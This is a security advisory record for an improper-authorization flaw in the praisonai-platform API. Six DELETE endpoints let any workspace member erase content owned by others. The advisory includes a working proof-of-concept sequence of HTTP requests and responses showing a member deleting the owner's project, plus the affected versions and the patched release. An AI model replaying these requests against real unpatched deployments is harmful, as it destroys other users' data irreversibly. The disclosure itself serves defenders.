{"id":"CVE-2026-57121","aliases":["GHSA-rh39-9c67-59mh"],"title":"PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API","summary":"PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API","severity":"high","cvss":8.1,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","vendor":"praisonai-platform","product":"praisonai-platform","ecosystem":"pip","affected":["praisonai-platform >= 0.1.4, < 0.1.6"],"patched":["praisonai-platform 0.1.6"],"published":"2026-06-18","updated":"2026-07-20","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-rh39-9c67-59mh","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh"},{"url":"https://github.com/MervinPraison/PraisonAI"}],"tags":["osv","pip"],"ingestedAt":"2026-07-21T19:04:57.568Z","slug":"CVE-2026-57121","body":"## Overview\n\n### Summary\nA workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly.\n\n### Details\nThe [published role capability matrix](https://docs.praison.ai/docs/features/platform/members) explicitly restricts members from modifying others' content:\n\n| Capability | Owner | Admin | Member |\n|---|---|---|---|\n| Create issues/tasks | ✅ | ✅ | ✅ |\n| Edit own content | ✅ | ✅ | ✅ |\n| Edit others' content | ✅ | ✅ | ❌ |\n\nThe DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an `owner`/`admin` role. The result is that the `member` role has unrestricted DELETE access over all workspace content regardless of who created it.\n\n**Confirmed vulnerable endpoints:**\n\n| Endpoint | Expected | Actual |\n|---|---|---|\n| `DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` | 403 | 204 |\n\nThe missing check is isolated to content resource DELETEs.\n\n\n### PoC\n**Requirements:** Two accounts — owner (resource creator) and member (attacker).\n\n**1. Register both accounts**\n\n```http\nPOST /api/v1/auth/register\nContent-Type: application/json\n\n{\"email\": \"owner@example.com\", \"password\": \"Password1!\", \"name\": \"owner\"}\n```\n\n```http\nPOST /api/v1/auth/register\nContent-Type: application/json\n\n{\"email\": \"member@example.com\", \"password\": \"Password1!\", \"name\": \"member\"}\n```\n\n**2. Owner creates workspace, adds member with `member` role**\n\n```http\nPOST /api/v1/workspaces/\nAuthorization: Bearer <owner_token>\nContent-Type: application/json\n\n{\"name\": \"Test Workspace\"}\n```\n\n```http\nPOST /api/v1/workspaces/{workspace_id}/members\nAuthorization: Bearer <owner_token>\nContent-Type: application/json\n\n{\"user_id\": \"<member_user_id>\", \"role\": \"member\"}\n```\n\n**3. Owner creates a project**\n\n```http\nPOST /api/v1/workspaces/{workspace_id}/projects/\nAuthorization: Bearer <owner_token>\nContent-Type: application/json\n\n{\"title\": \"Owner's Project\"}\n```\n\nResponse `201 Created`:\n```json\n{\"id\": \"29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\", \"title\": \"Owner's Project\", ...}\n```\n\n**4. Member deletes the owner's project**\n\n```http\nDELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\nAuthorization: Bearer <member_token>\n```\n\nResponse: **`204 No Content`**\n\n**5. Owner confirms the project is permanently gone**\n\n```http\nGET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\nAuthorization: Bearer <owner_token>\n```\n\nResponse: **`404 Not Found`**\n```json\n{\"detail\": \"Project not found\"}\n```\n\nThe same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).\n\n\n---\n\n### Impact\n\nThis is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this.\n\n**Who is impacted:** Workspace owners and members who share a workspace with untrusted or compromised member accounts.\n\n## Affected packages\n\n- `praisonai-platform >= 0.1.4, < 0.1.6`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonai-platform 0.1.6`","depth":"twilight","depthScore":45,"depthScoreParts":{"impact":44.6,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}